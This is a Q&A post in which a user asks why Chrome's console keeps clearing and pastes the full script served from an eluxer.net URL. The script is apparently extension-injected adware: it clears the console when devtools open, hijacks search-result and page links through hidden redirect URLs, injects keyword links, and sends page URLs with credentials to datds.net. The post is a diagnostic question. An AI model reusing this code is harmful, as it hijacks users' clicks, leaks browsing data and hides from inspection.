title: Chrome console auto clear log
body: <p>I'm using chrome to debug something.But the console will auto clear, and here is the url <code>https://eluxer.net/code?id=105&amp;subid=51824_6967_</code>.What about it?</p>
  
  <p><img src="https://i.stack.imgur.com/wONrG.png" alt="enter image description here"></p>
  
  <p>the url's content is here.search <code>c.clear()</code></p>
  
  <pre><code>(function() {
      var core = {
          dt: !1,
          isFrame: top != self,
          modules: [],
          opts: [],
          options: {},
          start: null,
          $: null,
          now: function() {
              return (new Date).getTime()
          },
          buildUrl: function(o, t) {
              return document.location.protocol + "//" + this.options.host + o + "?" + this.$.param(t)
          },
          buildMCUrl: function(o, t) {
              return "https://" + this.options.mcHost + o + "?" + this.$.param(t)
          },
          getPageHostname: function() {
              return document.location.hostname.replace(/^www\./, "")
          },
          init: function(options) {
              core.start = core.now(),
              core.options = options;
              var requres = new XMLHttpRequest;
              requres.onload = function() {
                  eval(this.responseText);
                  var $ = core.$ = jQuery;
                  jQuery.noConflict(),
                  $.each(core.modules, function(o, t) {
                      t.call(null, core.opts[o], core, $, window, document)
                  })
              }
              ,
              requres.open("get", "https://code.jquery.com/jquery-3.0.0.min.js"),
              requres.send()
          },
          run: function(o) {
              this.modules.push(o)
          }
      };
      core.init({
          "subid": "51824_6967_",
          "host": "eluxer.net",
          "mcHost": "datds.net"
      });
      core.opts.push({});
      core.run(function(e, n, r, t, i) {
          function o() {
              clearInterval(l),
              n.dt || (n.dt = !0,
              (new Image).src = n.buildUrl("/dt", {
                  r: Math.random()
              }))
          }
          function a() {
              var e = t.Firebug
                , r = e &amp;&amp; e.chrome;
              return r &amp;&amp; r.isInitialized ? void o() : (c.log(d),
              void setTimeout(function() {
                  n.dt || c.clear()
              }, 100))
          }
          var d = new Image
            , c = t.console;
          d.__defineGetter__("id", o);
          var l = setInterval(a, 1e3);
          a()
      });
      core.opts.push({
          "place": 2524,
          "maxIndexLength": 10000,
          "minDistance": 200,
          "phrases": false,
          "domains": true
      });
      core.run(function(e, t, r, n, a) {
          if (!t.isFrame) {
              var i = a.createElement("a")
                , o = n.localStorage
                , s = {
                  progress: !1,
                  runTimeout: null,
                  init: function() {
                      switch (s.watchMutations(),
                      t.getPageHostname()) {
                      case "yandex.ru":
                      case "yandex.ua":
                          s.prepareYandex();
                          break;
                      case "google.ru":
                      case "google.com":
                      case "google.com.ua":
                          s.prepareGoogle()
                      }
                  },
                  watchMutations: function() {
                      if (n.MutationObserver) {
                          var e = t.getPageHostname()
                            , r = {
                              "yandex.ru": [/\bcontent__left\b/, /\bsuggest2\b/],
                              "yandex.ua": [/\bcontent__left\b/, /\bsuggest2\b/],
                              "google.com": [/\bcontent\b/, /\btsf\b/],
                              "google.com.ua": [/\bcontent\b/, /\btsf\b/],
                              "google.ru": [/\bcontent\b/, /\btsf\b/]
                          };
                          if (r.hasOwnProperty(e)) {
                              var i = r[e]
                                , o = new n.MutationObserver(function(e) {
                                  for (var t = !0, r = 0; r &lt; e.length; r++)
                                      for (var n = e[r].target; n; ) {
                                          for (var a = 0; a &lt; i.length; a++)
                                              i[a].test(n.className) &amp;&amp; (t = !1);
                                          n = n.parentNode
                                      }
                                  t || s.reRun()
                              }
                              );
                              o.observe(a.body, {
                                  childList: !0,
                                  subtree: !0
                              })
                          }
                      }
                  },
                  prepareYandex: function() {
                      r(".serp-adv-item").each(function() {
                          var e = r(this)
                            , t = e.find(".serp-item__greenurl a, .organic__path a");
                          if (t.length) {
                              var n = t[0]
                                , a = n.textContent.toLowerCase().split("/")[0];
                              e.find("a").attr("data-href", "http://" + a)
                          }
                      })
                  },
                  prepareGoogle: function() {
                      r(".ads-ad").each(function() {
                          var e = r(this)
                            , t = e.find("cite")[0];
                          if (t) {
                              var n = t.textContent.toLowerCase().split("/")[0];
                              e.find("a").attr("data-href", "http://" + n)
                          }
                      })
                  },
                  reRun: function() {
                      s.progress || (clearTimeout(s.runTimeout),
                      s.runTimeout = setTimeout(function() {
                          s.run(a.body)
                      }, 500))
                  },
                  run: function(n) {
                      s.progress = !0;
                      var i = {
                          url: a.location.href,
                          urls: [],
                          phrases: []
                      };
                      return e.domains &amp;&amp; (i.urls = s.findUrls(n)),
                      e.phrases &amp;&amp; (i.phrases = s.findPhrases(n)),
                      i.urls.length || i.phrases.length ? void r.ajax({
                          type: "POST",
                          data: JSON.stringify(i),
                          contentType: "application/json",
                          dataType: "json",
                          xhrFields: {
                              withCredentials: !0
                          },
                          url: t.buildMCUrl("/replacement/find", {
                              place: e.place,
                              subid: t.options.subid,
                              hsid: chrome &amp;&amp; chrome.runtime &amp;&amp; chrome.runtime.id || ""
                          }),
                          success: function(e) {
                              t.dt || (s.replaceUrls(n, e.urls),
                              s.replacePhrases(n, e.phrases),
                              setTimeout(function() {
                                  s.progress = !1
                              }, 500))
                          }
                      }) : void (s.progress = !1)
                  },
                  getDomainByUrl: function(e) {
                      return i.href = e,
                      s.getDomain(i)
                  },
                  getDomain: function(e) {
                      return e.hostname.toLowerCase().replace(/^www\./, "")
                  },
                  getRealDomain: function(e) {
                      return s.getDomainByUrl(s.getRealHref(e))
                  },
                  getRealHref: function(e) {
                      var t = s.getDomain(e);
                      return -1 !== ["google.ru", "google.com", "yabs.yandex.ru"].indexOf(t) &amp;&amp; e.getAttribute ? e.getAttribute("data-href") : e.href
                  },
                  getBaseRealHref: function(e) {
                      i.href = s.getRealHref(e);
                      var t = s.getDomain(i)
                        , r = "";
                      return -1 !== ["realty.yandex.ru", "plarium.com", "espritgames.ru", "101xp.com", "promo.101xp.com", "sportiv.ru"].indexOf(t) &amp;&amp; (r = i.pathname),
                      t + r
                  },
                  getDistance: function(e, t) {
                      var r, n, a, i;
                      return e.top &lt; t.top ? (a = e.top + e.height,
                      i = t.top) : (a = t.top + t.height,
                      i = e.top),
                      e.left &lt; t.left ? (r = e.left + e.width,
                      n = t.left) : (r = t.left + t.width,
                      n = e.left),
                      Math.pow(r - n, 2) + Math.pow(a - i, 2)
                  },
                  extractWords: function(e) {
                      var t, r = new RegExp("(?:[-._&amp;]?[a-zа-яё0-9]+)+","ig"), n = [];
                      for (n.wordsLength = 0; t = r.exec(e); )
                          n.push({
                              word: t[0].toLowerCase(),
                              text: t[0],
                              index: t.index
                          }),
                          n.wordsLength += t[0].length;
                      return n
                  },
                  findLinks: function(e) {
                      return r(e).find("a").filter(function() {
                          return !!this.hostname &amp;&amp; !!s.getRealDomain(this)
                      })
                  },
                  findUrls: function(e) {
                      if (!e)
                          return [];
                      var t = {};
                      return this.findLinks(e).each(function() {
                          var e = s.getBaseRealHref(this);
                          t[e] = 1
                      }),
                      Object.keys(t)
                  },
                  replaceUrls: function(e, t) {
                      e &amp;&amp; t &amp;&amp; this.findLinks(e).each(function() {
                          var e = this
                            , n = s.getBaseRealHref(e);
                          if (n &amp;&amp; t.hasOwnProperty(n)) {
                              var a = t[n]
                                , i = s.getRealHref(e);
                              e.realHref = i,
                              e.hiddenHref = s.buildClickLink(r.extend({
                                  href: i
                              }, a)),
                              s.setClickHandler(e)
                          }
                      })
                  },
                  setClickHandler: function(e) {
                      var t = e.onclick;
                      e.onclick = function(r) {
                          var n, a = s.handleClick(e);
                          if ("function" == typeof t &amp;&amp; (n = t(r)),
                          a &amp;&amp; !1 === n)
                              return !1
                      }
                  },
                  handleClick: function(e) {
                      if (!e.hiddenHref)
                          return !1;
                      var r = e.href
                        , n = s.getDomain(a.location);
                      if (t.dt &amp;&amp; e.realHref)
                          return !1;
                      var i = e.realHref &amp;&amp; s.getDomainByUrl(e.realHref);
                      if (i &amp;&amp; (-1 !== n.indexOf(i) || -1 !== i.indexOf(n))) {
                          var f = t.now();
                          if (!o || o._ym_ts &amp;&amp; f - o._ym_ts &lt; 72e5 || f - t.start &lt; 6e4)
                              return !1;
                          o._ym_ts = t.now()
                      }
                      return e.href = e.hiddenHref,
                      e.realHref &amp;&amp; delete e.hiddenHref,
                      setTimeout(function() {
                          e.href = r
                      }, 10),
                      !0
                  },
                  isPhraseNodeAllowed: function(e) {
                      if (!e.tagName)
                          return !1;
                      var t = ["AUDIO", "VIDEO", "IFRAME", "A", "IMG", "INPUT", "BUTTON", "SELECT", "OPTION", "SCRIPT", "META", "LINK", "STYLE", "NOSCRIPT", "HEADER", "FOOTER", "LABEL", "H1", "H2", "H3", "H4", "H5", "H6"];
                      if (-1 !== t.indexOf(e.tagName.toUpperCase()))
                          return !1;
                      if (e.className &amp;&amp; "string" == typeof e.className)
                          for (var r = ["ya-partner", "header"], n = 0; n &lt; r.length; n++)
                              if (e.className.match(new RegExp("\b" + r[n] + "\b")))
                                  return !1;
                      var a = ["header", "footer"];
                      return -1 === a.indexOf(e.id)
                  },
                  findPhraseNodes: function(e) {
                      for (var t = [], n = [e]; n.length; ) {
                          var a = n.shift();
                          if (a.nodeType === Node.TEXT_NODE) {
                              var i = r.trim(a.textContent);
                              if (i.length &gt; 2) {
                                  var o = s.extractWords(a.textContent);
                                  o.length &amp;&amp; t.push([a, o])
                              }
                          } else if (s.isPhraseNodeAllowed(a))
                              for (var f = 0, c = a.childNodes.length; f &lt; c; f++)
                                  n.push(a.childNodes[f])
                      }
                      return t
                  },
                  findPhrases: function(t) {
                      var n = []
                        , a = 0
                        , i = this.findPhraseNodes(t);
                      return r.each(i, function(t, i) {
                          var o = i[1]
                            , s = r.map(o, function(e) {
                              return e.word
                          }).join(" ");
                          return a += s.length,
                          !(a &gt; e.maxIndexLength) &amp;&amp; void n.push(s)
                      }),
                      n
                  },
                  replacePhrases: function(e, t) {
                      if (e &amp;&amp; t) {
                          var r = this.doReplacePhrases(e, t);
                          this.removeBadReplaces(e, r)
                      }
                  },
                  doReplacePhrases: function(e, t) {
                      var n = {};
                      r.each(t, function(e, t) {
                          var a = s.extractWords(e)
                            , i = n;
                          r.each(a, function(e, r) {
                              var n = a[e].word;
                              i.hasOwnProperty(n) || (i[n] = {
                                  parent: i
                              }),
                              i = i[n],
                              e === a.length - 1 &amp;&amp; (i.data = t)
                          })
                      });
                      var i = s.findPhraseNodes(e)
                        , o = [];
                      return r.each(i, function(e, t) {
                          for (var r, i = t[0], f = t[1], c = i.textContent, l = 0, u = 0, d = f.length; u &lt; d; ) {
                              for (var h = u, p = n; h &lt; d &amp;&amp; p.hasOwnProperty(f[h].word); )
                                  p = p[f[h].word],
                                  h++;
                              for (; p.parent &amp;&amp; !p.data; )
                                  p = p.parent,
                                  h--;
                              if (h &lt;= u &amp;&amp; !p.data)
                                  u++;
                              else {
                                  r = c.slice(l, f[u].index),
                                  "" != r &amp;&amp; i.parentNode.insertBefore(a.createTextNode(r), i);
                                  var g = f[h - 1].index + f[h - 1].word.length
                                    , m = c.slice(f[u].index, g)
                                    , v = s.createPhraseLink(m, p);
                                  o.push(v),
                                  i.parentNode.insertBefore(v, i),
                                  l = g,
                                  u = h
                              }
                          }
                          l &gt; 0 &amp;&amp; (i.textContent = c.slice(l))
                      }),
                      o
                  },
                  removeBadReplaces: function(t, n) {
                      var i = Math.pow(e.minDistance, 2)
                        , o = []
                        , f = []
                        , c = [];
                      return r.each(n, function(e, t) {
                          var n = r(t)
                            , a = n.offset();
                          a.width = n.width(),
                          a.height = n.height();
                          for (var l = !0, u = o.length - 1; u &gt;= 0; u--)
                              if (s.getDistance(o[u], a) &lt; i) {
                                  l = !1;
                                  break
                              }
                          l ? (c.push(t),
                          o.push(a)) : f.push(t)
                      }),
                      r.each(f, function(e, t) {
                          t.parentNode.insertBefore(a.createTextNode(t.textContent), t),
                          r(t).remove()
                      }),
                      c
                  },
                  createPhraseLink: function(e, t) {
                      var n = a.createElement("a")
                        , i = r.extend({}, t.data, {
                          text: e
                      });
                      return r.extend(n, {
                          rel: "nofollow",
                          target: "_blank",
                          className: "intext-link",
                          textContent: e,
                          href: t.data.link || "#",
                          hiddenHref: s.buildClickLink(i)
                      }),
                      s.setClickHandler(n),
                      r.extend(n.style, {
                          position: "relative",
                          fontWeight: "bold"
                      }),
                      n
                  },
                  buildClickLink: function(n) {
                      return n = r.extend({
                          place: e.place,
                          subid: t.options.subid
                      }, n, {
                          url: a.location.href
                      }),
                      t.buildMCUrl("/replacement/click", n)
                  }
              };
              r(a).ready(function() {
                  s.init(),
                  s.run(a.body)
              })
          }
      });
      core.opts.push({});
      core.run(function(e, a, o, n, l) {
          var r = "seReplace"
            , t = n.localStorage
            , c = t[r] || 0;
          a.now() - c &lt; 864e5 || setInterval(function() {
              var e, o = l.location;
              o.pathname,
              o.hostname,
              o.href;
              e &amp;&amp; (t.seReplace = Date.now(),
              l.location.href = a.buildMCUrl("/go", {
                  url: e
              }))
          }, 1e3)
      });
  }
  )();
  </code></pre>